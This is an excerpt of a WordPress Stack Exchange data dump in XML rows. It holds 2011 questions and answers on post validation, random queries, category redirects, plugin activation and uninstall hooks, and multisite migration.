  <row Id="25963" PostTypeId="1" CreationDate="2011-08-15T14:57:01.647" Score="1" ViewCount="27" Body="&lt;p&gt;I am setting up a Wordpress site as a CMS and trying to figure out a way to make certain post fields &quot;required&quot; before an author can publish a post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, I want authors to be required to select a &quot;category&quot; and to set a &quot;featured image&quot;. It's been suggested that something like this could be done using some Javascript, but to be honest, I'm not entirely sure where to start (and my Javascript skills aren't the best).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has an idea as to how this can be done, I can really use the help. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7909" LastActivityDate="2011-08-15T14:57:01.647" Title="How can I make post fields required in Wordpress?" Tags="&lt;categories&gt;&lt;post-thumbnails&gt;&lt;cms&gt;&lt;publish&gt;&lt;validation&gt;" />
  <row Id="25964" PostTypeId="2" ParentId="25943" CreationDate="2011-08-15T15:06:55.490" Score="0" ViewCount="" Body="&lt;p&gt;You can do this within the Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Last modified on the: &amp;lt;?php the_modified_date(); ?&amp;gt;. by: &amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7906" LastActivityDate="2011-08-15T15:06:55.490" CommentCount="3" />
  <row Id="25965" PostTypeId="2" ParentId="25442" CreationDate="2011-08-15T15:31:35.443" Score="0" ViewCount="" Body="&lt;p&gt;Hi i'm not sure whether this plugin will help you or not. But give it a try.  Try scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/proper-network-activation/&quot; rel=&quot;nofollow&quot;&gt;proper-network-activation&lt;/a&gt; plugin&lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="5074" LastEditorDisplayName="" LastEditDate="2011-08-15T15:41:03.183" LastActivityDate="2011-08-15T15:41:03.183" CommentCount="1" />
  <row Id="25966" PostTypeId="2" ParentId="25962" CreationDate="2011-08-15T15:42:08.620" Score="2" ViewCount="" Body="&lt;p&gt;From &lt;a href=&quot;http://www.php.net/manual/en/function.preg-match.php&quot; rel=&quot;nofollow&quot;&gt;PHP docs&lt;/a&gt; (emphasis mine):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/function.preg-match.php&quot; rel=&quot;nofollow&quot;&gt;preg_match()&lt;/a&gt; returns the number of times pattern matches. That will be either 0 times (no match) or 1 time because &lt;strong&gt;preg_match() will stop searching after the first match&lt;/strong&gt;. &lt;a href=&quot;http://www.php.net/manual/en/function.preg-match-all.php&quot; rel=&quot;nofollow&quot;&gt;preg_match_all()&lt;/a&gt; on the contrary will continue until it reaches the end of subject.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-15T15:42:08.620" CommentCount="1" />
  <row Id="25967" PostTypeId="1" AcceptedAnswerId="25989" CreationDate="2011-08-15T15:44:03.643" Score="1" ViewCount="45" Body="&lt;p&gt;Im trying to make my post random when i lick on my button using $_GET but it just keeps refreshing my page instead of refreshing with the random post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;a href=&quot;&amp;lt;?php echo $my_query; ?&amp;gt;?p=random&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/shakeup.png&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php if(isset($_GET['p']) &amp;amp;&amp;amp; $_GET['p']=='random') {?&amp;gt; &#xA;&amp;lt;?php $my_query = new WP_Query('orderby=rand'); ?&amp;gt;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;im getting this error now &quot;Call to a member function have_posts() on a non-object in&quot;&lt;/p&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-08-15T19:57:45.007" LastActivityDate="2011-08-15T20:04:01.757" Title="making random query button using $_GET" Tags="&lt;query-posts&gt;&lt;get-posts&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25968" PostTypeId="1" CreationDate="2011-08-15T15:46:29.323" Score="0" ViewCount="23" Body="&lt;p&gt;I've been messing around with a custom walker to display a list of featured posts and it all works fine (title, description, thumb, …), but I haven't been able to fetch the author(s) and post date correctly. Who can help me out?&lt;/p&gt;&#xA;" OwnerUserId="5888" LastActivityDate="2011-08-15T15:46:29.323" Title="How to add author, date, etc. to custom wp_nav_menu walker" Tags="&lt;navigation&gt;" CommentCount="3" />
  <row Id="25969" PostTypeId="2" ParentId="25945" CreationDate="2011-08-15T15:50:15.383" Score="2" ViewCount="" Body="&lt;p&gt;The one dirty option is using &lt;code&gt;LIKE&lt;/code&gt; comparison in meta query request. It will just treat serialized value as string to make substring match against. It won't be my first (or second) approach to rely on, but in some cases I had to do it like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Non-unique meta keys are a little tricky to work with, but they are much better way to store stuff you want to query by.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-15T15:50:15.383" CommentCount="1" />
  <row Id="25970" PostTypeId="1" CreationDate="2011-08-15T15:51:13.870" Score="-4" ViewCount="19" Body="&lt;p&gt;Is there anyway that I can configure my wp ecommerce plugin, so that it accepts bank transfer?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2011-08-15T15:51:13.870" Title="Does wp ecommerce accept bank transfer?" Tags="&lt;plugin-wp-e-commerce&gt;" CommentCount="1" />
  <row Id="25971" PostTypeId="2" ParentId="25937" CreationDate="2011-08-15T15:53:55.580" Score="0" ViewCount="" Body="&lt;p&gt;Try Role Scoper: &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/role-scoper/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-08-15T15:53:55.580" CommentCount="2" />
  <row Id="25972" PostTypeId="2" ParentId="25940" CreationDate="2011-08-15T15:54:20.827" Score="2" ViewCount="" Body="&lt;p&gt;Do you mean post slug? You can try to make use of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_unique_post_slug&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_unique_post_slug()&lt;/code&gt;&lt;/a&gt; that WP uses to generate those. If I remember right if slug you are trying to use is not unique it will be returned with numerical index appended.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-15T15:54:20.827" CommentCount="1" />
  <row Id="25973" PostTypeId="2" ParentId="25967" CreationDate="2011-08-15T15:56:24.740" Score="1" ViewCount="" Body="&lt;p&gt;You are using new &lt;code&gt;WP_Query&lt;/code&gt; object, but wrapper functions for main query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($my_query-&amp;gt;have_posts()) : ?&amp;gt;           &#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-15T15:56:24.740" CommentCount="0" />
  <row Id="25974" PostTypeId="1" AcceptedAnswerId="25976" CreationDate="2011-08-15T16:35:16.000" Score="1" ViewCount="25" Body="&lt;p&gt;I have a few categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in each of them, I have only one post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by clicking on a category, I have to click on that single post to enter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish, by clicking on the category, enter directly in that one post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method avoids having to click two times in the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for what I have to use code in archive.php?&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-08-15T17:27:45.070" Title="if there is only one post in the category, directly open" Tags="&lt;archive&gt;" AnswerCount="1" />
  <row Id="25975" PostTypeId="1" AcceptedAnswerId="25986" CreationDate="2011-08-15T16:45:23.420" Score="0" ViewCount="21" Body="&lt;p&gt;I'm considering moving my existing blog from DasBlog to WordPress. While doing some tests to see if I did like the platform I ran into following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Windows Live Writer to write my blog posts. I'm used to add the pictures on the original size and remove the default link (to the full size picture). When I publish this post to WordPress, some pictures end up in the picture library and others don't, even in the same post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to have a consistent way of storing my pictures. Preferably without the use of the media library, as I don't see the use of it (yet?) and it gives &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25144/unwanted-media-library-urls-in-posts&quot;&gt;unwanted links&lt;/a&gt; and records in the posts table.&lt;/p&gt;&#xA;" OwnerUserId="7911" LastActivityDate="2011-08-15T19:03:18.667" Title="Windows Live Writer inconsistent with Media Library" Tags="&lt;media-library&gt;&lt;windows-live-writer&gt;" AnswerCount="1" />
  <row Id="25976" PostTypeId="2" ParentId="25974" CreationDate="2011-08-15T17:27:45.070" Score="4" ViewCount="" Body="&lt;p&gt;this function will check if you're on a category page and 302 redirect to the latest post in that category. put it in your theme's functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_check_if_cat(){&#xA;    if ( is_category() ) :&#xA;        $category = get_the_category();&#xA;        $latest = query_posts('showposts=1&amp;amp;cat='.$category[0]-&amp;gt;cat_ID);&#xA;        if(have_posts()) :&#xA;            wp_redirect(get_permalink($post-&amp;gt;ID), 302);&#xA;        endif;&#xA;    endif;&#xA;}&#xA;add_action('template_redirect','my_check_if_cat');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-15T17:27:45.070" />
  <row Id="25978" PostTypeId="1" CreationDate="2011-08-15T18:01:33.807" Score="0" ViewCount="23" Body="&lt;p&gt;I am looking for a simple &quot;framework&quot; plugin that allows users to have accounts independent from Wordpress so that I can build extra features upon that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need for ecommerce integration, subscriptions, access levels or anything else, just these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Independent accounts from Wordpress &lt;code&gt;wp_users&lt;/code&gt; table&lt;/li&gt;&#xA;&lt;li&gt;Secure to any XSS, SQL injection, session hijacking, cookie stealing, etc.&lt;/li&gt;&#xA;&lt;li&gt;Persistent login (through hashed cookies or any other secure method)&lt;/li&gt;&#xA;&lt;li&gt;Scalable so developers can add functionalities (custom API, OpenID integration, other plugin integration, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Easy to use through functions (following the Wordpress API coding style): &#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_list_pages&lt;/code&gt; -&gt; &lt;code&gt;xx_list_users&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;is_user_logged_in&lt;/code&gt; -&gt; &lt;code&gt;xx_is_user_logged_in&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_bloginfo('url')&lt;/code&gt; -&gt; &lt;code&gt;xx_user_info('email')&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Just the bare bone functions (register, login, remember password, account settings).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anything like this exist? The only plugins I can find are either too complex and bloated with functions or depend on &lt;code&gt;wp_users&lt;/code&gt; table. I wouldn't even need an admin GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4217" LastActivityDate="2011-08-15T18:01:33.807" Title="Simple membership plugin to code upon" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;membership&gt;&lt;framework&gt;&lt;plugin-members&gt;" CommentCount="1" />
  <row Id="25979" PostTypeId="2" ParentId="25910" CreationDate="2011-08-15T18:18:05.927" Score="3" ViewCount="" Body="&lt;p&gt;There are three &lt;em&gt;different&lt;/em&gt; functions for stuff like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uninstall&lt;/li&gt;&#xA;&lt;li&gt;Deactivation&lt;/li&gt;&#xA;&lt;li&gt;Activation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;How-to trigger functions savely during the szenrios&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The following shows the &lt;em&gt;right&lt;/em&gt; to savely hook functions that get triggered during the mentioned actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: You can simply take the three &lt;code&gt;register_*_hook()*&lt;/code&gt; functions and the class and drop into your plugin.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If you got your de-/activation/uninstall class in another file, uncomment the following line:&#xA;include_once plugin_dir_path( __FILE__ ).'filename.php';&#xA;&#xA;// register a function - or better a class function - to run on activation/deactivation&#xA;// You can use __FILE__ even when your class is not in the file, that contains the plugin comment&#xA;// Add this to your main/init file (that has the plugin header comment)&#xA;register_activation_hook( __FILE__, array( 'YourPluginNameInit', 'on_activate' ) );&#xA;register_deactivation_hook( __FILE__, array( 'YourPluginNameInit', 'on_deactivate' ) );&#xA;register_uninstall_hook( __FILE__, array( 'YourPluginNameInit', 'on_uninstall' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The De-/Activation/Uninstall Class - It's plug &amp; play!&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The following example shows a basic class that only needs to get functions added, which are needed to run during the szenarios.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Class example (inside ex. filename.php):&#xA;if ( ! class_exists('YourPluginNameInit' ) ) :&#xA;/**&#xA; * This class triggers functions that run during activation/deactivation &amp;amp; uninstallation&#xA; * NOTE: All comments are just my *suggestions*.&#xA; */&#xA;class YourPluginNameInit&#xA;{&#xA;    // Set this to true to get the state of origin, so you don't need to always uninstall during development.&#xA;    const STATE_OF_ORIGIN = false;&#xA;&#xA;&#xA;    function __construct( $case = false )&#xA;    {&#xA;        if ( ! $case )&#xA;            wp_die( 'Busted! You should not call this class directly', 'Doing it wrong!' );&#xA;&#xA;        switch( $case )&#xA;        {&#xA;            case 'activate' :&#xA;                // add_action calls and else&#xA;                # @example:&#xA;                add_action( 'init', array( &amp;amp;$this, 'activate_cb' ) );&#xA;                break;&#xA;&#xA;            case 'deactivate' : &#xA;                // reset the options&#xA;                # @example:&#xA;                add_action( 'init', array( &amp;amp;$this, 'deactivate_cb' ) );&#xA;                break;&#xA;&#xA;            case 'uninstall' : &#xA;                // delete the tables&#xA;                # @example:&#xA;                add_action( 'init', array( &amp;amp;$this, 'uninstall_cb' ) );&#xA;                break;&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Set up tables, add options, etc. - All preparation that only needs to be done once&#xA;     */&#xA;    function on_activate()&#xA;    {&#xA;        new YourPluginNameInit( 'activate' );&#xA;    }&#xA;&#xA;    /**&#xA;     * Do nothing like removing settings, etc. &#xA;     * The user could reactivate the plugin and wants everything in the state before activation.&#xA;     * Take a constant to remove everything, so you can develop &amp;amp; test easier.&#xA;     */&#xA;    function on_deactivate()&#xA;    {&#xA;        $case = 'deactivate';&#xA;        if ( STATE_OF_ORIGIN )&#xA;            $case = 'uninstall';&#xA;&#xA;        new YourPluginNameInit( $case );&#xA;    }&#xA;&#xA;    /**&#xA;     * Remove/Delete everything - If the user wants to uninstall, then he wants the state of origin.&#xA;     */&#xA;    function on_uninstall()&#xA;    {&#xA;        // important: check if the file is the one that was registered with the uninstall hook (function)&#xA;        if ( __FILE__ != WP_UNINSTALL_PLUGIN )&#xA;            return;&#xA;&#xA;        new YourPluginNameInit( 'uninstall' );&#xA;    }&#xA;&#xA;    function activate_cb()&#xA;    {&#xA;        // Stuff like adding default option values to the DB&#xA;        wp_die( '&amp;lt;h1&amp;gt;This is run on &amp;lt;code&amp;gt;init&amp;lt;/code&amp;gt; during activation.&amp;lt;/h1&amp;gt;', 'Activation hook example' );&#xA;    }&#xA;&#xA;    function deactivate_cb()&#xA;    {&#xA;        // if you need to output messages in the 'admin_notices' field, do it like this:&#xA;        $this-&amp;gt;error( &quot;Some message.&amp;lt;br /&amp;gt;&quot; );&#xA;        // if you need to output messages in the 'admin_notices' field AND stop further processing, do it like this:&#xA;        $this-&amp;gt;error( &quot;Some message.&amp;lt;br /&amp;gt;&quot;, TRUE );&#xA;        // Stuff like remove_option(); etc.&#xA;        wp_die( '&amp;lt;h1&amp;gt;This is run on &amp;lt;code&amp;gt;init&amp;lt;/code&amp;gt; during deactivation.&amp;lt;/h1&amp;gt;', 'Deactivation hook example' );&#xA;    }&#xA;&#xA;    function uninstall_cb()&#xA;    {&#xA;        // Stuff like delete tables, etc.&#xA;        wp_die( '&amp;lt;h1&amp;gt;This is run on &amp;lt;code&amp;gt;init&amp;lt;/code&amp;gt; during uninstallation&amp;lt;/h1&amp;gt;', 'Uninstallation hook example' );&#xA;    }&#xA;    /**&#xA;     * trigger_error()&#xA;     * &#xA;     * @param (string) $error_msg&#xA;     * @param (boolean) $fatal_error | catched a fatal error - when we exit, then we can't go further than this point&#xA;     * @param unknown_type $error_type&#xA;     * @return void&#xA;     */&#xA;    function error( $error_msg, $fatal_error = false, $error_type = E_USER_ERROR )&#xA;    {&#xA;        if( isset( $_GET['action'] ) &amp;amp;&amp;amp; 'error_scrape' == $_GET['action'] ) &#xA;        {&#xA;            echo &quot;{$error_msg}\n&quot;;&#xA;            if ( $fatal_error )&#xA;                exit;&#xA;        }&#xA;        else &#xA;        {&#xA;            trigger_error( $error_msg, $error_type );&#xA;        }&#xA;    }&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those functions are only run during the three mentioned szenrios. Afaik there's also something for update. I'm sure you can easily extend the shown class to run during update too.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;The Core code&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;These are the 3 functions from core (Wordpress 3.2.1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Set the activation hook for a plugin.&#xA; *&#xA; * When a plugin is activated, the action 'activate_PLUGINNAME' hook is&#xA; * activated. In the name of this hook, PLUGINNAME is replaced with the name of&#xA; * the plugin, including the optional subdirectory. For example, when the plugin&#xA; * is located in wp-content/plugin/sampleplugin/sample.php, then the name of&#xA; * this hook will become 'activate_sampleplugin/sample.php'. When the plugin&#xA; * consists of only one file and is (as by default) located at&#xA; * wp-content/plugin/sample.php the name of this hook will be&#xA; * 'activate_sample.php'.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Plugin&#xA; * @since 2.0&#xA; *&#xA; * @param string $file The filename of the plugin including the path.&#xA; * @param callback $function the function hooked to the 'activate_PLUGIN' action.&#xA; */&#xA;function register_activation_hook($file, $function) {&#xA;    $file = plugin_basename($file);&#xA;    add_action('activate_' . $file, $function);&#xA;}&#xA;&#xA;/**&#xA; * Set the deactivation hook for a plugin.&#xA; *&#xA; * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is&#xA; * deactivated. In the name of this hook, PLUGINNAME is replaced with the name&#xA; * of the plugin, including the optional subdirectory. For example, when the&#xA; * plugin is located in wp-content/plugin/sampleplugin/sample.php, then&#xA; * the name of this hook will become 'activate_sampleplugin/sample.php'.&#xA; *&#xA; * When the plugin consists of only one file and is (as by default) located at&#xA; * wp-content/plugin/sample.php the name of this hook will be&#xA; * 'activate_sample.php'.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Plugin&#xA; * @since 2.0&#xA; *&#xA; * @param string $file The filename of the plugin including the path.&#xA; * @param callback $function the function hooked to the 'activate_PLUGIN' action.&#xA; */&#xA;function register_deactivation_hook($file, $function) {&#xA;    $file = plugin_basename($file);&#xA;    add_action('deactivate_' . $file, $function);&#xA;}&#xA;&#xA;/**&#xA; * Set the uninstallation hook for a plugin.&#xA; *&#xA; * Registers the uninstall hook that will be called when the user clicks on the&#xA; * uninstall link that calls for the plugin to uninstall itself. The link won't&#xA; * be active unless the plugin hooks into the action.&#xA; *&#xA; * The plugin should not run arbitrary code outside of functions, when&#xA; * registering the uninstall hook. In order to run using the hook, the plugin&#xA; * will have to be included, which means that any code laying outside of a&#xA; * function will be run during the uninstall process. The plugin should not&#xA; * hinder the uninstall process.&#xA; *&#xA; * If the plugin can not be written without running code within the plugin, then&#xA; * the plugin should create a file named 'uninstall.php' in the base plugin&#xA; * folder. This file will be called, if it exists, during the uninstall process&#xA; * bypassing the uninstall hook. The plugin, when using the 'uninstall.php'&#xA; * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before&#xA; * executing.&#xA; *&#xA; * @since 2.7&#xA; *&#xA; * @param string $file&#xA; * @param callback $callback The callback to run when the hook is called. Must be a static method or function.&#xA; */&#xA;function register_uninstall_hook( $file, $callback ) {&#xA;    if ( is_array( $callback ) &amp;amp;&amp;amp; is_object( $callback[0] ) ) {&#xA;        _doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1' );&#xA;        return;&#xA;    }&#xA;&#xA;    // The option should not be autoloaded, because it is not needed in most&#xA;    // cases. Emphasis should be put on using the 'uninstall.php' way of&#xA;    // uninstalling the plugin.&#xA;    $uninstallable_plugins = (array) get_option('uninstall_plugins');&#xA;    $uninstallable_plugins[plugin_basename($file)] = $callback;&#xA;    update_option('uninstall_plugins', $uninstallable_plugins);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-22T16:59:46.963" LastActivityDate="2011-08-22T16:59:46.963" CommentCount="5" />
  <row Id="25980" PostTypeId="2" ParentId="25905" CreationDate="2011-08-15T18:24:32.850" Score="0" ViewCount="" Body="&lt;p&gt;Why not simply give each custom post type an ID and then query the matching custom post type be &lt;code&gt;$GLOBALS['post']-&amp;gt;post_author; // etc...&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-15T18:24:32.850" CommentCount="5" />
  <row Id="25981" PostTypeId="2" ParentId="25442" CreationDate="2011-08-15T18:24:50.627" Score="0" ViewCount="" Body="&lt;p&gt;I'm thinking if you can't figure it out, no one can. ;(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, this plugin automatically updates user roles for sub-sites based on the main site. So maybe you can extract the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-role-editor/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7913" LastActivityDate="2011-08-15T18:24:50.627" CommentCount="1" />
  <row Id="25982" PostTypeId="1" CreationDate="2011-08-15T18:25:23.910" Score="1" ViewCount="27" Body="&lt;p&gt;ok, here's an overview as this is a bit of a tall order:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need to migrate our entire site into wp. right now we're just using wp for a blog page (installed in subfolder w/ subdomain), and all other pages are static in the root of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to get all of this combined into one wp install for our main site, blog, and international sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's what i'm doing now -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;test wp multisite installed in subfolder of root&lt;/li&gt;&#xA;&lt;li&gt;migrated existing wp posts, plugins, and static pages into multisite&#xA;(one site for main site, another for uk site)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;once i have all content migrated into my multisite install, what is the best way to handle making it live? there are some files and folders with other subdomains pointing to them in the root that exist outside of wp and can't be moved / changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking i would,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;point mysite.com to my test multisite install subfolder and change my&#xA;site url in wp to mysite.com&lt;/li&gt;&#xA;&lt;li&gt;point my uk domain to my test multisite    install subfolder and&#xA;change my site url in wp to mysite.co.uk&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;is this the best way to go about doing this? also, what would be the best way to keep my top domain pointing to all of my other static content in my root? should I just drop all of those static files into my multisite install folder? can putting those other files in my wp folder mess up my install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a complex job and i'm looking for the best way to do it with minimal headaches (although i kinda have one now after posting this:)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks so much!!!&lt;/p&gt;&#xA;" OwnerUserId="7914" LastActivityDate="2011-08-21T10:53:54.893" Title="Migrating static site to multisite with multiple domains and subdomains" Tags="&lt;multisite&gt;&lt;static&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25983" PostTypeId="2" ParentId="25851" CreationDate="2011-08-15T18:26:49.540" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this possible&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the core file. Somthing with &lt;code&gt;screen_options();&lt;/code&gt; and like.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-15T18:26:49.540" />
  <row Id="25984" PostTypeId="2" ParentId="25842" CreationDate="2011-08-15T18:29:58.383" Score="1" ViewCount="" Body="&lt;p&gt;First: Write &lt;code&gt;false === get_option( 'whatever' );&lt;/code&gt; - &lt;a href=&quot;http://codex.wordpress.org/WordPress_Coding_Standards&quot; rel=&quot;nofollow&quot;&gt;see Coding Standards&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: Why do you have a variable-variable in there? &lt;code&gt;$$value['id'] = $value['std'];&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-15T18:29:58.383" CommentCount="4" />
  <row Id="25985" PostTypeId="2" ParentId="19002" CreationDate="2011-08-15T18:35:36.093" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress doesn't have any real limitation to that although your &lt;code&gt;wp_users&lt;/code&gt; table may not be optimized and the queries to it become slow. Try doing this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Repair and optimize&lt;/strong&gt; your tables&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Add Indexes&lt;/strong&gt; to frequently used columns such as &lt;code&gt;user_login&lt;/code&gt; or &lt;code&gt;user_nicename&lt;/code&gt; and play around until it speeds everything up a bit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You may also try &lt;strong&gt;disabling plugins&lt;/strong&gt; one by one just in case there is a badly coded WP hook/action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final solution, I would add a huge list of users &lt;strong&gt;directly through a SQL query&lt;/strong&gt;, that way you can add thousands of them in less than a second.&lt;/p&gt;&#xA;" OwnerUserId="4217" LastActivityDate="2011-08-15T18:35:36.093" />
  <row Id="25986" PostTypeId="2" ParentId="25975" CreationDate="2011-08-15T19:03:18.667" Score="1" ViewCount="" Body="&lt;p&gt;You can make WLW upload images directly via FTP, you can set this up in settings of connection to your blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as long time WLW user myself I would strongly suggest you to try and make sense of media management in WP, even if it seems excessive at moment (it did to me for a long time). Down the road you will very likely come to some things that are much easier done with media library, rather than organized bunch of directly uploaded files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this very well myself, because I am facing need to re-organize and import three years worth of media at my blog. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS WLW is fine, but do try writing posts in WP itself. A lot of work went into that part of experience and it is very impressive by now.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-15T19:03:18.667" CommentCount="2" />
  <row Id="25987" PostTypeId="1" AcceptedAnswerId="25991" CreationDate="2011-08-15T19:23:59.507" Score="0" ViewCount="27" Body="&lt;p&gt;I'm using Wordpress as a CMS for a small business website (not my first choice.) Each product page needs to have a small carousel of images that contains images relevant to the product. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a custom Post Type for the products and am currently using custom fields to display some information specific to each product. I can't just cut and paste the code for each individual carousel into a custom fields; since, to get the images properly, I need PHP in the code for the carousel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also can't use individual custom fields for each image since the number of images in the carousel could be unpredictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good way to do this? Suggestions are appreciated! &lt;/p&gt;&#xA;" OwnerUserId="2925" LastActivityDate="2011-08-15T21:07:12.633" Title="Dynamic carousel on individual posts" Tags="&lt;posts&gt;&lt;customization&gt;&lt;type&gt;" AnswerCount="1" />
